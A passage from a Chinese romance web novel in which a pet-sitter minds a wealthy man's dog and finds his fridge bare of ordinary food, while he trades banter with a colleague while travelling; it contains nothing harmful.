舒克一直乖乖跟着,偶尔也出去,但是一会儿,就会听到大爪子吧嗒吧嗒的踩踏地板的声音,由远及近,格外清晰。
好像全世界就剩下他们两个活物。
“舒克?”美妙侧耳倾听,从包里挖出一只鸭子玩具,丢到门外。
一道黑影闪过去,然后就听到兴奋跑远的声音,不一会儿,舒克叼着进来,放到美妙脚边,亮晶晶眼睛着看她,美妙会意,抬手再丢,舒克嗖地又追,很快捡回来,就这么人狗玩了一会儿,美妙看了眼时间,觉得可以安排午餐了。
她去厨房打开舒克专用柜子,一样一样打开狗粮、冻干等等等,然后切了些水果,精心混合了一堆美味,推到舒克面前,“吃吧,少爷。”
少爷餐进的不错,接下来是午休时间。
保姆美妙也饿了,她推开冰箱门,足足找了好半响才说:“我去,我吃啥啊?”这冰箱上层一眼望去全是水,上层纯净水,下层羽衣甘蓝,柜门上乳清蛋白,一瓶瓶站岗似的排列,标签都不带歪一下的。
“不是说有吃的吗?”她惊叹着关上冷藏室,弯腰打开冷冻层,这回倒是满满当当全是东西,而且仔细一看全是各种肉类。
只不过,这些肉一层层,一包包,都被装进透明食品袋,右下角都贴着日期克数标签,不像是准备烹饪吃饭,看上去毫无食欲,这让人想到法医收集证物似的。
美妙很快放弃吃肉的念头,最后好不容易找到一盒酸奶,心满意足地撕开,舔了一口,差别没酸死,然后又搜到两根绿香蕉,一边纳闷,一边给梁时言发消息。
此刻梁时言刚到机场休息室,吕城推着行李从外头进来,“真是稀奇啊?”他坐下后便问:“你真把舒克自己放家了。”
梁时言瞥一眼他,“不然呢?”
“我靠!”吕城忍不住惊呼,表情何其诧异,“真是太阳打西边出来了,老大爷终于肯放手,这回不把舒克栓你裤腰上了?”
梁时言没搭理他,继续双手抱胸闭目养神。
吕城默默盯了他一会儿,忽然想到什么,状似无意地问:“诶,你把你儿子托付给谁了?”
37. 第 37 章
梁时言依旧闭着眼,沉吟:“朋友。”
“朋友?”
吕城像是发现了新大陆,差点没笑出声,他目光四处找了一圈,这地界实在没合适的人吐槽,你说这家伙多能装,大学四年他跟梁时言住一个宿舍,回国后又一起拼事业,多亲密无间的关系。就这,梁时言独自出差的时候都不肯把舒克交他照顾,说是不放心。
他还认识几个朋友?
吕城真是要笑死在候机室,“哪个朋友?”他不遗余力地问。
梁时言依旧低着头。
沉默。
你当个人吧,梁时言。
吕城又气又好笑,一脸我真是服了你的表情,继续弄他:“哪个朋友啊,男朋友女朋友还是中性朋友,我怎么不知道?”
他挨近看着他:“漂亮不?”
反观梁时言,靠在椅背上,双手环在胸前,好像感受到靠近的气息,不耐烦地偏了一下头,整张深邃犹如雕刻的脸,一下转到另一边去了。
吕城吊了下眉梢,一脸看好戏得逞的表情,还想再乘胜追击,刚靠过去,只听梁时言精良的西装里叮咚一声,他停下,轻声提醒声音的主人;“你有消息。”
梁时言也听到了,在吕城开口的一瞬他就睁开了眼睛,但他没拿手机,反而转头淡淡盯着吕程,直到吕程尴尬到坐了回去,这才伸手掏出手机。
美妙的消息跳了出来。
妙脆角:【你家有普通人类吃的东西吗?】
他顿了下,随即回过去。
这边美妙啃着绿中带黄的香蕉,低头看消息,瞬间呆住。
北津市元启生物公司阎王爷:【要多普通,冰箱里有牛排、三文鱼、鸡胸肉,不够吃?还是不会做?】
开玩笑,她怎么可能不会做饭?美妙立刻想回嘴,但是慢慢咽下一口香蕉后,似乎有些醒悟,噢,她好像确实不会做饭。
于是改口回:【我是说有没简单的,比如泡面、速冻饺子、披萨啊这种不浪费时间的速食?】
梁时言看着对话框笑了下,本想说他不吃这些东西,但是修长好看的手指稍稍一顿,想了想,才重新落下去。
旁边吕城实在无聊,本以为梁时言回工作消息,自己也掏出手机看了眼,见工作群没消息又收了手机,余光瞥见隔壁嘴角挂的笑意,不禁好奇地歪头去看。
只瞄到一个不熟悉的微信头像。
不认识。
他默不作声地观察梁时言,见他手指飞快回了什么,然后视线停在界面上,好像在等对方回复。他好奇地又瞥了一眼他嘴角,然后忍不住出声询问:“谁呀?”
梁时言抬头瞥他一眼,拇指稍移摁下侧边键,手中屏幕应声一暗。
“没谁。”他淡淡回了句,把手机重新装回兜里。
吕城啧了声。
他隐隐觉得,这跟刚才那位所谓的“朋友”绝对脱不了关系。
接着,他就见梁时言又掏出了手机。
这边美妙接到回信,更莫名奇妙了。
什么嘛?
她认真认真从头到尾看了两遍,还是不得其意:
北津市元启生物公司阎王爷:【家里暂时没有,你等一会儿。】
难道她多等一会,冰箱里就能自动长出来食物不成。
美妙怪笑一声,打算自己点外卖解决,于是摇着头切到外卖APP,千挑万选点了一份干锅鱿鱼虾,但她填好派送地址后忽然意识到,这地方怕是外卖送不进来吧,难道让她骑着电驴窜出去拿?
真是头痛……
一想到这,点餐的欲望便又减了三分。
真是金窝银窝不如自己的狗窝。。。
才离家不到半日,她就开始想念热闹纷杂的万家里,还有衣来伸手饭来开门的平民区生活,简直不要太便利。就在她打算先致电物业问问情况的时候,听到院子里的门铃响了。
她愣了几秒,还在狐疑是不是这家来人,会不会敲错。
说真的,偌大的房子里一猛感觉外面有人,这咋感觉有点怕怕的呢?先申明一下,美妙绝不是胆小的人,但还是下意识咽了咽口水,没动。
舒克小少爷却比她勇敢,已经率先以主人之姿,咆叫着冲到门口去了,扒拉着想开门。
那保姆自然是跟上。
出去才知道是物业的人,美妙拉着舒克的项圈怕吓到人家,然后才小心翼翼开了门,物业小哥笑盈盈地立在门外,手里拎着一只大袋子,“您好,你点的外送已经到了,我帮您送进去吧。”
美妙听了忙摇头:“不是不是,这不是我点的,我还没下单呢。”
小哥听后一怔,然后扭头看了眼门牌,确信道:“是这里没错,梁先生点的。”
美妙连连哦了两声,咕哝道:“那是这里了。”
然后后知后觉,心说这就是“冰箱里暂时没有,你等一会儿”的意思吗,这哥……还真是……奇妙。她不自觉笑出来。
看来梁时言是真的拍她饿死——然后跑路。
袋子里吃的应有尽有,泡面、煎饺、披萨一件不落,而且十分慷慨地购入了一批普通人类喝的酸奶饮料。
好吧,这下可以不点外卖了。
美妙进厨房找到烤箱,按照说明书烤了一只披萨,吃起来脆而不焦,芝士拉丝堪称完美,连桌底下舒克都馋的淌口水。虽然大阎王临走明确指使,禁止给舒克吃重盐食物,但……本着将在外军令有所不受的原则,她想了想,还是掰了一小块,递给舒克:
“你想说吃独食不好,是吧?”
舒克啪叽一口,不带嚼的囫囵吞枣,一秒没,用实际行动回答了她。
引得美妙问它:“好吃吧?”
舒克立马伸出大舌头快速地舔了下鼻子,表示还要。这下美妙不打算再给了,万一吃出点毛病她可担待不起,“不给了哦,不是我不给,是你主人不让。”
“要怪怪他,别恨我哦。”她补了一句。
说完捧着比萨转了圈,避开舒克可怜巴巴的大脸,面向院子,窗外草坪一片莹绿,阳光下泛着淡金色的光泽,根根青翠欲滴,目及之处不见一根杂草,整块绿地呈现出一种变态的整洁与肃正。
这让美妙想到,冰箱里列阵的水和整齐划一的肉,只觉得,如果自律有判头,那梁时言怎么着也能判个无期徒刑。
洁癖外加喜爱健身,哇,这要是找对象,对
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方必须得是个洁癖吧?
美妙这会儿边吃边想,意识到思想有点抛锚,她收了收神经,计划着先睡一觉,然后下午继续整理病例,就这么吃完收拾餐桌,打着哈欠回了客房,临睡前给梁时言发了条消息,大意就是简单报告下舒克的情况,然后表达下谢意。
毕竟吃人最短。
也不知道梁时言能不能收到,她记得他说晚上的飞机。
“你看这个怎么样?细腰翘臀大长腿,”吕城捏着酒杯,看了眼刚刚经过的空姐,“关键人家来回看你好几趟了?”
梁时言十分无语地睨他一眼。
可惜吕城注意力没在这,没看着,他马上又发现新目标,继续低声嘀咕,“这个好这个好,这位脸绝对原装。”他正经百八地看人走近,然后转头问梁时言,“清纯可爱挂的,你应该喜欢。”
梁时言懒得听他胡诌,找同学做同事的缺点,在此时此刻毕现,他很后悔跟吕城挨着坐,应该隔几排才好。于是拿出降噪耳机,低头塞住耳朵,想办法给自己找点清净。
下一秒,甜美纯欲范儿的空姐就到了他跟前,典型的蹲式服务,“梁先生您好,”笑眼恰到好处,说出的话也听不出一丝暧昧,分寸感拿捏的刚刚好,“我们刚开了一款香槟,不少旅客都喜欢它清爽的口感,给您来一杯?”
梁时言楞了下,淡淡地撇开眼,眼不见心不烦地将视线落到舷窗外,“谢谢,不用。”
旁边的吕城一直憋着笑,见他不解风情,十分绅士地打圆场:“梁先生爱清净不要打扰他,”然后笑问,“你看我气质如何,能配的上这款香槟吗?”
说完就转头看旁边。
梁时言仰面靠着宽大的椅背,阖着眼,领口解开了两颗纽扣,露出一长截线条分明的锁骨,就这么躺着一动不动,装死,都能给人一种惊世骇俗的朗月风姿之感。
吕城在心里骂了一句,举着酒杯给空姐。
空姐也忍不住跟着多看了几眼,然后收回视线亲和力十足地给他倒香槟,然后走了。
吕城端着新酒,不甘心地问梁时言:“喂!别装了,大白天的你睡得着吗?”
几秒后,梁时言悠悠地转过头来:“有事就说,没事儿滚蛋。”
吕城忽然就乐了。
真是新鲜了,很难得见梁时言发脾气,他一惯冷静平淡,有个词怎么说,叫情绪稳定。他就像发现新大陆一样稀罕,兴奋不已:“哎我说,刚才这姑娘真是不错,我看人家看你的眼神透着真挚,而且说话声音也好听,人真是漂亮,怎么样啊?”
梁时言盯着他的眸子,越来越深沉,不说话,却气场迫人。
吕城就有点发虚:“我说真的,没逗你。”
梁时言就一直盯着他。
吕城装不下去了,立刻举一举酒杯示意投降,“我的意思是,如果人家跟我要微信,我给不给,你说,我听你的。”
梁时言转回头:“晚上到地方你不用出机场,直接回去吧。”
吕城:“……”
不就是开个玩笑,他向后也靠上椅背,半响后,朝他投去一个认真的眼神,“你真要买美国佬的生产线,然后跟天城集团抢二级市场啊?”